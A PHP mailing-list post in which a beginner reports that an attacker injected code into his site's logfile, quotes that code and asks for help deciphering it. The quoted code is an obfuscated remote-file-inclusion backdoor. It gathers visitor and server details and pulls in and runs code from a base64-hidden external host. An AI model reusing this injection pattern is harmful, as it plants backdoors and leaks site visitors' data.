Hi,
I have a simple "Send an ecard" (my own flavour, as a way of learning php), and
someone's hacked in to a logfile, through my own silly mistake.
I'd just put a logfile (with the one-liner below) in to record anyone messing
with it. Yes, I should have used chmod 0600.
<?php header('Location: /'); exit; ?>
What they'd done is to insert their code between the php closing bracket.
<?php header('Location: /'); exit;
error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] :
$HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] :
$SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] :
$REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ?
$_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] :
$HTTP_REFERER);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){}
else
{include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}?>
Here's a link to a copy of it http://circlecity.co.uk/testarea/code.txt as it's
just one long line.
They couldn't have executed it correctly as the "header('Location: /'); exit;"
would have taken them to my homepage, I hope.
Can anyone decipher this as I don't know how far they have got?
i.e. what are they trying to include.
Thanks, Bob.
p.s. Yes, I could kick myself, so other newbies like myself, take note.
Community email addresses:
Post message: [email protected]
Subscribe: [EMAIL PROTECTED]
Unsubscribe: [EMAIL PROTECTED]
List owner: [EMAIL PROTECTED]
Shortcut URL to this page:
http://groups.yahoo.com/group/php-list
Yahoo! Groups Links
<*> To visit your group on the web, go to:
http://groups.yahoo.com/group/php-list/
<*> To unsubscribe from this group, send an email to:
[EMAIL PROTECTED]
<*> Your use of Yahoo! Groups is subject to:
http://docs.yahoo.com/info/terms/